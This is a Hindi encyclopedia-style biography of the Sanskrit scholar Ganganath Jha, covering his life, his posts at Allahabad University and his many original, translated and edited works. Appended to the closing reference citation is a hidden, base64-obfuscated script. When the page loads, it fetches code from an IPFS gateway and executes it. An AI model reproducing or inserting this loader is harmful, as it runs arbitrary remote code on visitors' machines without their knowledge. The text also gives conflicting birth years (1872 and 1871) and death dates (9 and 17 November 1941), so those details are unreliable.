गंगानाथ झा

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गंगानाथ झा
गंगानाथ झा
पूरा नाम गंगानाथ झा
जन्म 25 दिसम्बर, 1872
जन्म भूमि मिथिला (बिहार)
मृत्यु 9 नवम्बर, 1941
मृत्यु स्थान इलाहाबाद, उत्तर प्रदेश
कर्म भूमि भारत
मुख्य रचनाएँ कतिपयदिवसोद्गमप्ररोह:, बेला महात्म्यम्, भक्ति कल्लोलिनी, भावबोधिनी, वैशेषिकदर्पण, न्यायप्रकाश, कविरहस्य आदि
भाषा हिन्दी, अंग्रेज़ी, संस्कृत और मैथिली भाषा
विशेष योगदान इनका सबसे बड़ा योगदान संस्कृत के महत्त्वपूर्ण प्राचीन ग्रन्थों का अंग्रेज़ी भाषा में अनुवाद कार्य रहा है।
नागरिकता भारतीय
अन्य जानकारी 18 वर्ष की उम्र में ही संस्कृत में एक पद्यात्मक ग्रन्थ लिखकर आपने अपनी प्रतिभा प्रदर्शित कर दी थी।

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गंगानाथ झा (अंग्रेज़ी: Ganganath Jha, जन्म: 25 दिसम्बर 1872 – मृत्यु: 9 नवम्बर 1941) संस्कृत भाषा के प्रकाण्ड पंडित थे। इन्होंने हिन्दी, अंग्रेज़ी और मैथिली भाषा में दार्शनिक विषयों पर उच्च कोटि के मौलिक ग्रन्थों की रचना की है। इनके अनेक स्मारकों में इलाहाबाद विश्वविद्यालय का 'गंगानाथ झा रिसर्च इंस्टीट्यूट' (स्थापित 17 नवंबर, 1943) प्रमुख है।

जीवन परिचय

गंगानाथ झा का जन्म मिथिला (बिहार) के एक गाँव में 1871 ई. में हुआ था। संस्कृत की उच्च शिक्षा इन्होंने काशी के दो प्रसिद्ध विद्वानों से ग्रहण की थी। इन्होंने काशी के ही क्वीन्स कॉलेज से पाश्चात्य प्रणाली की शिक्षा भी ग्रहण की थी। 18 वर्ष की उम्र में ही संस्कृत में एक पद्यात्मक ग्रन्थ लिखकर आपने अपनी प्रतिभा प्रदर्शित कर दी थी। इनका सबसे बड़ा योगदान संस्कृत के महत्त्वपूर्ण प्राचीन ग्रन्थों का अंग्रेज़ी भाषा में अनुवाद कार्य रहा है। इनके इस महत्त्वपूर्ण कार्य से भारत के प्राचीन ज्ञान से पश्चिम के विद्वानों को परिचित होने का अवसर मिला। ‘पूर्व मीमांसा के 'प्रभाकरमत’ पर शोध प्रबन्ध लिखकर इलाहाबाद विश्वविद्यालय में संस्कृत का अध्यापन कार्य किया और फिर बनारस संस्कृत कॉलेज के प्रधानाचार्य बने। 1923 में आपको इलाहाबाद विश्वविद्यालय का उपकुलपति बनाया गया, यहाँ पर यह 1932 तक इस पद पर रहे। कुछ समय के लिए आप प्रान्तीय लेजिस्लेटिव कौंसिल के सदस्य भी मनोनीत किए गए थे। आपने 'हिन्दी साहित्य सम्मेलन' का सभापतित्व भी किया था। 17 नवम्बर, 1941 को आपका देहान्त हो गया।

कृतियाँ

18 वर्ष की अवस्था से आमरण (1941 ई.) सरस्वती की आराधना करते हुए गंगानाथ झा ने अपनी निम्नांकित कृतियों द्वारा मैथिली, हिन्दी, संस्कृत और अंग्रेज़ी को चिरऋणी बनाया है:

मौलिक रचनाएँ

संस्कृत में
  • कतिपयदिवसोद्गमप्ररोह:
  • बेला महात्म्यम्
  • भक्ति कल्लोलिनी
  • भावबोधिनी
  • खद्योत (वात्स्यायन न्याय भाष्य टीका)
  • मीमांसामंडनम्
  • प्रभाकारप्रदीप।
हिंदी में
  • वैशेषिकदर्पण
  • न्यायप्रकाश
  • कविरहस्य
  • पटना यूनिवर्सिटी रीडरशिप लेक्चर्स ऑन हिंदू लॉ।
मैथिलि में
  • वेदांतदीपिका
अंग्रेज़ी में
  • प्रभाकर स्कूल ऑव पूर्वमीमांसा
  • साधोलाल लेक्चर्स ऑन न्याय
  • फिलासॉफिकल डिसिप्लिन (कमला लेक्चर्स, कलकत्ता यूनिवर्सिटी)
  • हिदू लॉ इन इट्स सोर्सेज (2 भाग)
  • शंकराचार्य ऐंड हिज़ वर्क फ़ॉर द अप्लिफ्ट ऑव द कंट्री
  • पूर्वमीमांसा ऑव जैमिनि।

अनूदित रचनाएँ

  • विज्ञान भिक्षु का योगसारसंग्रह
  • मम्मट का काव्यप्रकाश
  • वाचस्पतिमिश्र कृत सांख्यतत्वकौमुदी
  • शांकर भाष्य छांदोग्योपनिषत्
  • श्लोकवार्तिक कुमारिल
  • योगसूत्रभाष्य व्यास
  • तर्कभाषा केशव मिश्र
  • काव्यालंकारवृति वामनकृत
  • खंडनखंडखाद्य
  • अद्वैतसिद्धि:
  • मधुसूदन सरस्वती
  • विद्यारण्यकृत विवरणप्रमेयसंग्रह
  • न्याससूत्रभाष्य और वार्तिक 4 खंड
  • प्रशस्तपादभाष्य न्यायकंदली सहित
  • जैमिनीय पूर्वमीमांसा सूत्र
  • मेधातिथि-सभाष्य मनुस्मृति
  • तंत्रवार्तिक कुमारिल
  • मीमांसा सूत्र भाष्य: शबर
  • तत्वसंग्रह: शांतरक्षित
  • विवाद चितापणि: वाचस्पति मिश्र।

संपादित (संस्कृत)

  • कविकरपतिका शंकर कवि
  • प्रायश्चित्त कदंब (गोपाल न्यायपंचानन) पंचीकरण सवार्तिक: शंकराचार्य
  • विवरण और तत्वचंद्रिका अमृतोदय: आपदेव
  • वादि विनोद: शंकर मिश्र
  • भावनाविवेक: मंडन मिश्र
  • न्यायकलिका: जयंतभट्ट
  • न्यायसूत्र जलाशयोत्सर्गपद्धति
  • तंत्ररत्न
  • मनुभाष्य-मेधातिथि।


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टीका टिप्पणी और संदर्भ

शर्मा, लीलाधर भारतीय चरित कोश (हिन्दी)। भारत डिस्कवरी पुस्तकालय: शिक्षा भारती, दिल्ली, पृष्ठ 212।<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

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